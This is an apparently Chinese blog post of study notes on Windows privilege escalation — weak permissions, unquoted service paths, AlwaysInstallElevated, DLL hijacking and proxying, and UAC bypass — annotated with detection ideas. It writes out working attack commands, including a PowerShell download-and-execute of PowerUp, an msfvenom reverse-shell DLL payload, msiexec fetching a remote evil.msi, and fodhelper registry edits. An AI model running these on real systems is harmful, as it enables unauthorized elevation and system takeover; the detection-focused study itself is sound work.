Instance: C:\>icacls "D:\test" /grant Everyone:(OI)(CI)F /T  ==>检测:icacls命令使用,尤其是有grant admin的

MS documentation:

1, F = Full Control
- 777

2, CI = Container Inherit - This flag indicates that subordinate containers will inherit this ACE.
- 子文件夹继承父文件夹权限

3, OI = Object Inherit - This flag indicates that subordinate files will inherit the ACE.
- 子文件继承父文件夹权限

4, /T = Apply recursively to existing files and sub-folders. (OI and CI only apply to new files and sub-folders).
- 递归传递权限

Microsoft Doc: https://technet.microsoft.com/en-us/library/cc753525(v=ws.11).aspx

 

常用命令:

 
1
2
3
4
5
6
icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "Everyone"

icacls "C:\Program Files(x86)\*" 2>nul | findstr "(M)" | findstr "Everyone"

icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users"
icacls "C:\Program Files(x86)\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users"

anyrun里的赋予admin权限的。

icacls grant admin site:any.run

可以看到1000多条结果。

 

示例样本:

https://app.any.run/tasks/5ca8deb3-f27c-409d-8eae-a50691c0a505?_gl=1*15u3mi9*_ga*MzA3MTQxMTA4LjE2NDM0MjAwMzI.*_ga_53KB74YDZR*MTY1MDM1NjQyMC40NS4wLjE2NTAzNTY0MjQuNTY.&_ga=2.195761068.1453221316.1661162101-307141108.1643420032/

icacls C:\Windows\System32\drivers /grant admin:F  ==》检测:icacls grant admin

 

 

 
1
2
3
powershell.exe -exec bypass -nop -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks"

powershell.exe -exec bypass -Command "& {Import-Module D:/PowerUp.ps1; Invoke-AllChecks}" > 1.txt  ==>检测:powerup invokeALLchecks

列出了所有可能存在问题的服务:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210127105304.png-water_print

  • ServiceName:可能存在漏洞的服务
  • Path:该服务的可执行程序的路径
  • StartName:服务运行账号
  • AbuseFunction:利用方式

根据 AbuseFunction 中的利用方式执行脚本,这里以 VGAuthService 服务为例

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210127105407.png-water_print

添加一个名为 user,密码为 123456 的账号:

 
1
powershell.exe -exec bypass -Command "& {Import-Module C:/PowerUp.ps1;Invoke-ServiceAbuse -Name 'VGAuthService' -Username user -Password 123456}"
 
1
2
3
4
use exploit/windows/local/service_permissions
set AGGRESSIVE true
set session 1
exploit

todo:数据采集,分析!

 

可信任服务路径漏洞利用了 Windows 文件路径解析的特性,如果一个服务调用的可执行文件没有正确地处理所引用的完整路径名,同时攻击者该文件路径有可写权限,攻击者就可以上传文件来劫持路径名。

例如 Windows 系统启动某服务时查找的文件路径为 C:\Program Files\Some Folder\Services.exe

对于该路径中的每一个空格,Windows 都会尝试并执行与空格前面的名字相匹配的程序,因此 Windows 会以依次如下顺序查找一下启动程序:

  • C:\Program.exe
  • C:\Program Files\Some.exe
  • C:\Program Files\Some Folder\Services.exe

此时如果我们对 C:\路径或者 C:\Program Files 有可写的权限,就可以上传 Program.exe 或 Some.exe 程序到相应目录下,当服务重新启动时,就会以 System 权限执行我们上传的恶意程序。

利用条件:

  • 服务路径未使用双引号
  • 服务路径包含空格
  • 我们有某一中间文件夹的写权限
 
1
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\" |findstr/i /v """  ==》检测:wmic和findstr配合使用

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210127115840.png-water_print

接着查看是否有对目标文件夹的写权限,使用 Windows 内置工具 icacls,以此检查各级路径:

 
1
2
3
icacls "C:"
icacls "C:\Program Files"
icacls "C:\Program Files\VMware"

依次查看各级目录是否有可写权限,最后找到 C:\Program Files\VMware 目录,在该目录下方式木马,上线后,即为高权限。

exploit/windows/local/trusted_service_path 模块

todo:数据采集,分析检测

如果攻击者对以高权限运行的计划任务所在目录具有所写权限,就可以使用恶意程序覆盖原来的程序,这样,在计划任务下次执行时就会以高权限来运行恶意程序。

 
1
Get-ScheduledTask | Select * | ? {($_.TaskPath -notlike "\Microsoft\Windows\*") -And ($_.Principal.UserId -notlike "*$env:UserName*")} | Format-Table -Property State, Actions, Date, TaskPath, TaskName, @{Name="User";Expression={$_.Principal.userID}} 

 

检测:Get-ScheduleTask + 文件覆盖,组合规则

 

查看某个目录的权限配置情况

 
1
accesschk64.exe -dqv "/path/to/dir"

如果攻击者对某个高权限的计划任务所在的路径有可写权限,可使用恶意程序覆盖原来的程序,当计划任务下次执行时,就会以高权限运行恶意程序。

注册表键 AlwaysInstallElevated 是一个策略设置项,Window 允许低权限用户以 System 权限运行 MSI 安装文件,如果启用此策略设置项,那么任何权限的用户都能以 NT AUTHORITY\SYSTEM 权限来运行恶意的 MSI 文件

查询:

 
1
2
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

未启用 AlwaysInstallElevated 策略,返回结果为:「找不到指定的注册表项或值」

检测:特定注册表读取操作

 
1
2
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1

本地执行:msiexec /q /i C:\msi.msi

  • /i 参数用来表示安装操作

  • /q 参数用来隐藏安装界面

并且 MSIEXEC 也可以实现无落地文件的方式进行木马上线的方式,当然低权限用不了,因为 msi 文件需要可信的证书才能远程利用 AlwaysInstallElevated 提权:msiexec /q /i http://ip/evil.msi

检测:msiexec 执行异常操作

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210128111128.png-water_print

https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1

测试是否启用 AlwaysInstallElevated:

 
1
2
Import-Module .\PowerUp.ps1
Get-RegistryAlwaysInstallElevated

 

检测:powerup文件创建,powershell模块加载 Get-RegistryAlwaysInstallElevated

返回 True 代表开启。

MSI Wrapper 下载地址:https://www.exemsi.com/download/

将 Payload 设置为执行 ProcessHacker:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210128111410.png-water_print

运行时要求提升权限:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210128111451.png-water_print

MSI installation context 下选择 Per User 和 Per Machine 都可以。

一些 windows 无人值守安装文件中含有用户的明文或 base64 编码后的密文???//什么鬼?想说啥?窃取用户名?

 
1
dir /s *sysprep.inf *sysprep.xml *unattend.xml *unattend.txt 2>nul

常见位置:

  • C:\sysprep.inf
  • C:\sysprep\sysprep.xml
  • C:\Windows\system32\sysprep.inf
  • C:\Windows\system32\sysprep\sysprep.xml
  • C:\Windows\Panther\Unattend\Unattended.xml
  • C:\Windows\Panther\Unattend\Unattend.xml
  • C:\Windos\System32\sysprep\unattend.xml
  • C:\Windows\System32\Sysprep\Panther\unattend.xml
何为劫持
在正常事物发生之前进行一个旁路操作

动态链接库(Dynamic-Link-Library,缩写 dll)。在 Windows 中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即 DLL 文件,放置于系统中。当执行某一个程序时,相应的 DLL 文件就会被调用。一个应用程序可使用多个 DLL 文件,一个 DLL 文件也可能被不同的应用程序使用,这样的 DLL 文件被称为共享 DLL 文件。

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190109094454.png-water_print

微软的 DLL 劫持分为三个阶段

  • 无保护阶段:Windows XP SP2 之前
  • 保护阶段:Windows XP SP2 之后,Windows 7 之前
  • 进一步保护阶段:Windows 7 之后

Windows XP SP2 之前

  1. 进程对应的应用程序所在目录;
  2. 加载 DLL 时所在的当前目录 (SetCurrentDirectory);
  3. 系统目录即 SYSTEM32 目录(通过 GetSystemDirectory 获取);
  4. 16 位系统目录即 SYSTEM 目录;
  5. Windows 目录:C:\Windows(通过 GetWindowsDirectory 获取);
  6. PATH 环境变量中的各个目录;

Windows XP SP2 之后

微软为了防止 DLL 劫持漏洞的产生,在 XP SP2 之后,添加了一个 SafeDllSearchMode 的注册表属性。注册表路径如下:

 
1
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode

当 SafeDllSearchMode 的值设置为 1,即安全 DLL 搜索模式开启时,查找 DLL 的目录顺序如下:

  1. 应用程序所在目录;
  2. 系统目录 SYSTEM32 目录;
  3. 16 位系统目录即 SYSTEM 目录。该项只是为了向前兼容的处理,可以不考虑
  4. Windows 目录。通常是C:\Windows;
  5. 加载 DLL 时所在的当前目录;
  6. 环境变量 PATH 中所有目录。需要注意的是,这里不包括 App Paths 注册表项指定的应用程序路径。

win7 之后

微软为了更进一步的防御系统的 DLL 被劫持,将一些容易被劫持的系统 DLL 写进了一个注册表项中,那么凡是此项下的 DLL 文件就会被禁止从 EXE 自身所在的目录下调用,而只能从系统目录即 SYSTEM32 目录下调用。注册表路径如下:

 
1
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

Windows 操作系统通过「DLL路径搜索目录顺序」和「Know DLLs注册表项」的机制来确定应用程序所要调用的 DLL 的路径,之后,应用程序就将 DLL 载入了自己的内存空间,执行相应的函数功能。

注册表路径:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

Process Monitor 是 Windows 的高级监视工具,可显示实时文件系统,注册表和进程/线程活动。

https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-utilities

Process Monitor Filter 是用于过滤应用程序输出的一部分功能,可以使得进程事件结果成为你想要的内容。常用过滤条件:Process Name,Path,Result

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190102100516.png-water_print

设置 Process Name is 待测目标,设置 Path ends with .dll,Result is NAME NOT FOUND

如果在应用程序寻找成功之前,将我们自己创造的 DLL 文件放入寻找目录中,那么应用程序就会加载我们自己的 DLL

 
1
2
3
4
5
6
7
8
BOOL WINAPI DllMain( 
// 指向自身的句柄
 _In_ HINSTANCE hinstDLL, 
// 调用原因
 _In_ DWORD     fdwReason,
// 加载方式(隐式、显式)
  _In_ LPVOID    lpvReserved
);
载入状态说明
DLL_PROCESS_ATTACH 1 被进程装载时
DLL_PROCESS_DETACH 0 被进程卸载时
DLL_THREAD_ATTACH 2 被线程装载时
DLL_THREAD_DETACH 3 被线程卸载时
 
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){
  printf("hModule.%p lpReserved.%p \n", hModule, lpReserved);
  switch (ul_reason_for_call)
  {
    case DLL_PROCESS_ATTACH:
      printf("Process attach. \n");
      break;
    case DLL_PROCESS_DETACH:
    	printf("Process detach. \n");
    	break;
    case DLL_THREAD_ATTACH:
    	printf("Thread attach. \n");
    	break;
    case DLL_THREAD_DETACH:
    	printf("Thread detach. \n");
    	break;
    }
return (TRUE);
}

如果应用程序调用的 DLL 没有 DLLMain 函数就需要实现指定导出函数,然后等待导出函数执行完毕再 Load 真实 DLL。

MSF 生成 payload:

 
1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f dll > a.dll

https://github.com/sensepost/rattler

Rattler 自动枚举应用程序 DLL 来识别和利用 DLL,看哪些些 DLL 可以通过 DLL 预加载攻击被劫持。

实现思路:

  • 枚举进程调用的 dll 列表,解析出 dll 的名称
  • 将测试 dll 分别重命名为列表中的 dll 名称
  • 再次启动程序,检测是否成功创建进程 calc.exe,如果成功,代表存在漏洞,否则不存在

测试:

使用 Visual Studio 编译 Rattler,将 payload.dll 放于同级目录下

payload.dll 下载地址:

https://github.com/sensepost/rattler/releases/download/v1.0/payload.dll

管理员权限的 cmd 下运行命令:

 
1
Rattler.exe [待检测程序名称] 1
C:\Users\User\Desktop>Rattler_32.exe "C:\Users\User\Downloads\NDP462-KB3151800-x86-x64-AllOS-ENU.exe"  1
[+] RATTLER
[*] TARGET APPLICATION: C:\Users\User\Downloads\NDP462-KB3151800-x86-x64-AllOS-ENU.exe
[+] STARTING UP...
[*] TARGET PROCESS ID: 3504
[+] IMPLEMENTING EXECUTABLE TEST

[*] TARGETING DLL-> C:\Windows\SYSTEM32\CRYPTSP.dll
[*] INFO: DLL IS VULNERABLE TO EXECUTABLE TEST-> C:\Windows\SYSTEM32\CRYPTSP.dll

[*] TARGETING DLL-> C:\Windows\system32\rsaenh.dll
[*] TARGET DLL IS NOT VULNERABLE TO EXECUTABLE TEST

[*] TARGETING DLL-> C:\Windows\SYSTEM32\ntmarta.dll
[*] TARGET DLL IS NOT VULNERABLE TO EXECUTABLE TEST

[*] TARGETING DLL-> C:\Windows\SYSTEM32\feclient.dll
[*] TARGET DLL IS NOT VULNERABLE TO EXECUTABLE TEST

[*] TARGETING DLL-> C:\Windows\system32\uxtheme.dll
[*] TARGET DLL IS NOT VULNERABLE TO EXECUTABLE TEST

[*] TARGETING DLL-> C:\Windows\System32\MSCTF.dll
[*] TARGET DLL IS NOT VULNERABLE TO EXECUTABLE TEST

[*] TARGETING DLL-> C:\Windows\system32\dwmapi.dll
[*] TARGET DLL IS NOT VULNERABLE TO EXECUTABLE TEST

[+] EXECUTABLE TEST TOTAL DLL's IDENTIFIED: 43
[+] EXECUTABLE TEST TOTAL VULN COUNT: 1
[*] EXECUTABLE TEST VULNERABLE DLL-> C:\Windows\SYSTEM32\CRYPTSP.dll
 ==》检测:工具名

使用 windbg 导出 module:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190102103743.png-water_print

打开 chkDllHijack,粘贴处要验证的 DLL 内容,等待其运行完毕,检查结果:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20100102103944.png-water_print

检测:工具名

不使应用程序崩溃的情况下利用 DLL Hijack 漏洞。将合法函数调用重定向到原始 DLL,在后台静默加载我们的 shellcode。

DLL Side-Loading 与 DLL 劫持非常相似。但是,它不会破坏原始程序的执行流程或功能。,将恶意程序隐藏在合法应用程序之后,同时也可以利用该方法维持权限。

检测:需要L2规则

DLL Proxy 流程图:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200702110923.png-water_print

  • 启动时,应用程序 A 需要使用名为 GetFunkyData() 的第三方函数来获取数据,GetFunkyData() 存在于动态链接库中,该动态链接库位于应用程序的工作目录中,名为 DataFunctions_Original.dll (B)。
  • 应用程序 A 以其名称加载库 DataFunctions.dll,以尝试执行 GetFunkyData()。 该 DLL 实际上是攻击者专门设计的“代理”库,代理 DLL 使用将函数调用重定向到原始 DLL“ DataFunctions_Original.dll”(B)。
  • 此时,攻击者已经劫持了执行流程(C),并且可以代表运行中的进程(E)执行代码,而无需用户或应用程序的了解。

https://github.com/Flangvik/SharpDllProxy

 
1
SharpDllProxy.exe --dll /path/to/targetDLL.dll --payload shellcode.bin

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200701114359.png-water_print

现在需要将程序生成的源码进行编译,打开 VS 2019,选择创建新工程:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200701114616.png-water_print

选择 C++ 语言,搜索 Library ,然后点击 DLL模板:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200701114813.png-water_print

项目名称应该匹配我们要劫持的 DLL 名称。将工具生成的代码内容复制到 dllmain.cpp 中:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200701115449.png-water_print

当 DLL_PROCESS_ATTACH 时间被触发时,DLL 会创建一个新线程。DoMagic() 函数从 shellcode.bin 读取 payload 到内存中,并执行。

下一步即可编译该 DLL 库文件,选择合适的架构:x64/x86,然后选择 release,build 即可。

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200701115906.png-water_print

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190102110451.png-water_print

 

什么是UAC?

https://docs.microsoft.com/zh-cn/windows/security/identity-protection/user-account-control/user-account-control-overview

 

用户帐户控制 (UAC) 有助于防止恶意软件损坏电脑,并且有助于组织部署易于管理的桌面。 借助 UAC,应用和任务将始终在非管理员帐户的安全上下文中运行,除非管理员专门授予管理员级别的访问系统权限。 UAC 可阻止自动安装未经授权的应用并防止意外更改系统设置。

UAC 允许所有用户使用标准用户帐户登录到他们的计算机。 使用标准用户令牌启动的进程可能会使用授予标准用户的访问权限执行任务。 例如,Windows 资源管理器会自动继承标准用户级别权限。 此外,使用 Windows 资源管理器启动(例如,通过双击快捷方式)的任何应用也会使用标准用户权限组运行。 许多应用(包括操作系统本身附带的应用)旨在通过此方式正常运行。

其他应用(尤其是那些不是使用安全设置专门精心设计的应用)通常需要附加权限才能成功运行。 这些类型的应用称为旧版应用。 此外,诸如安装新软件和更改 Windows 防火墙配置之类的操作需要比提供给标准用户帐户更多的权限。

当应用需要使用超过标准用户权限运行时,UAC 允许用户使用管理员令牌运行应用, (管理组和权限) 而不是其默认的标准用户访问令牌。 用户继续在标准用户安全上下文中操作,同时根据需要允许某些应用使用提升的权限运行。

User Account Control(UAC)是在 Windows Vista 以后版本中引入的一种安全机制,针对具有有限权限的账户。通过 UAC,应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员特别授予管理员级别的系统访问权限。UAC 可以阻止未经授权的应用程序自动进行安装,并防止无意中更改系统设置。

ACL(Access Control List):Windows 中所有资源都有 ACL ,这个列表决定了拥有何种权限的用户/进程能够这个资源。

在开启了 UAC 之后,如果用户是标准用户, Windows 会给用户分配一个标准 Access Token 如果用户以管理员权限登陆,会生成两份访问令牌,一份是完整的管理员访问令牌(Full Access Token),一份是标准用户令牌。一般情况下会以标准用户权限启动 Explorer.exe 进程。如果用户同意,则赋予完整管理员权限访问令牌进行操作。

Win+R,输入 gpedit.msc,打开组策略,在「计算机配置 – Windows设置 – 安全设置 – 本地策略 – 安全选项」,再在右侧窗口找到「用户帐户控制: 管理员批准模式中管理员的提升权限提示的行为」,如下图:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200130094033.png-water_print

  • 不提示直接提升:关闭 UAC,需要权限时直接提升权限。
  • 在安全桌面上提示凭据:需要权限时在安全桌面上输入管理员密码提升权限。
  • 在安全桌面上同意提示:需要权限时在安全桌面上选择「允许」提升权限。
  • 提示凭据:需要权限时在普通窗口中输入管理员密码提升权限。
  • 同意提示:需要权限时在普通窗口中选择「允许」提升权限。
  • 非 Windows 二进制文件的同意提示:(默认设置) 当非 Microsoft 应用程序的某个操作需要提升权限时,选择「允许」提升权限。

因为普通应用执行权限有限,某些操作必然会要求更高的管理员权限。此时,通常就需要一个权限提升的操作。程序可以向系统请求提权,系统会将此请求通过提一个提示框,请用户确认。

触发 UAC 的行为:

  • 配置Windows Update
  • 增加或删除用户账户
  • 改变用户的账户类型
  • 改变 UAC 设置
  • 安装 ActiveX
  • 安装或移除程序
  • 安装设备驱动程序
  • 设置家长控制
  • 将文件移动或复制到 Program Files 或 Windows 目录
  • 查看其他用户文件夹

如果当前用户的用户组权限不是管理员,提权操作是要求输入管理员密码的,这点和在 Linux 中的相应操作类似。

  • 程序只能在运行前要求提权。如果已经在运行了,那么将失去申请提权的能力
  • 权限提升仅对此次进程有效

提升权限的操作大致有两个:

  • 自动提权请求
  • 手动提权请求

手动提权就是「以管理员身份运行」,自动提权请求就是程序本身就一运行就开始申请权限,如:注册表编辑器

在开发的过程中,程序员若要开发一个程序,可以在编译器配置,写入一个配置文件,用于向系统标识该应用程序是必须要管理员权限运行的。

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200130095000.png-water_print

  • aslnvoker 默认权限
  • highestAvailable 最高权限
  • requireAdministrator 必须是管理员权限

将编译选项调整为 requireAdministrator,当用户运行程序后,将获得管理员权限会话,不需要绕过 UAC 了。

manifest 中其实还有其他属性,如:autoElevate(自动提升)

拥有自动权限提升属性的文件,会在启动时自动提升权限,而这些应用程序往往都具备微软的签名,微软认为它是可信的。故此,在该程序启动时,将会以管理员身份启动,假设通过 DLL 劫持,也能获得管理员权限。

但是:

  • 可能分析成本较高
  • 可能需要高权限才能够完成

https://github.com/g3rzi/Manifesto

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200130095630.png-water_print

如果上述程序存在 DLL 劫持漏洞,那么普通用户就可以用低权限绕过 UAC 确认,以高权限执行任意代码。

检测:提取工具识别

C:\Windows\system32\odbcad32.exe 该程序用于配置 ODBC 数据源,但提供了一个输入点,那就是文件浏览器,通过文件浏览器我们可以打开一个管理员权限的 Powershell。

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200130100157.png-water_print

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200130100211.png-water_print

还有一个特别典型的例子就是CVE-2019-1388 证书提权漏洞。

通过点击「展示证书发行者的详细信息」链接会触发 consent.exe 以 SYSTEM 权限打开浏览器访问此链接,然后此浏览器就会有 SYSTEM 权限。通过保存该浏览页面,会弹出微软的资源管理器,在资源管理器中邮件打开 cmd.exe 程序,就会继承浏览器的 SYSTEM 权限,由此就完成了由普通用户到 NT AUTHORITY\SYSTEM 用户的提权。

检测:总感觉这种场景windows应该给一个提示,或者日志记录。

一些高权限的程序会调用 HKCR:\ 下的键值。

流程:

  1. 通过修改 HKCU:\ 下面的键值同步修改 HKCR:\ 下的键值。
  2. 把原本的键值改为 cmd.exe 等 shell 程序。
  3. 如果高权限的程序在运行过程中调用此处被修改过的键值,就会以高权限启动我们设定的程序。
  4. 如此便实现了 Bypass UAC。

常见的有:eventvwr.exe、fodhelper.exe,下面以 fodhelper.exe 为例:

  • Path:C:\Windows\system32\fodhelper.exe
  • REG:HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command
 
1
2
reg add HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command /d C:\Windows\System32\cmd.exe /f
reg add HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command /v DelegateExecute /t REG_DWORD /d 00000000 /f

在 msf 中已经集成了相应的利用方式。

todo,待实践。

工具地址:https://github.com/hfiref0x/UACME,内含 60+ 种 BypassUAC 的方法

todo:待实践

工具列表如下:

Akagi 是项目的主程序,其中包含了所有的 Methods,绕过 UAC 的主要方法的源码都在 Method 目录下,会以 UAC 绕过方法的发现者的名字来命名源文件。

clone 到本地后,用 VS2019 打开,选择 uacme.vcxproj,以 Release|x64 去 build,然后 ctrl+b build 项目,生成的项目在 source/Akag/output 下

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200130110835.png-water_print

使用 vs2019 本地编译后可以使用 akagi32 41 或者 akagi64 41 启动程序,41这个指的是 README 中描述的方法索引,运行后可以直接得到管理员权限的 cmd 窗口:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200130110806.png-water_print

winPEAS

工具地址:https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite

todo:待实践

在「potato 家族提权分析」中已有介绍,再次不做赘述。

posted @ 2022-08-24 12:53  bonelee  阅读(2272)  评论(1编辑  收藏  举报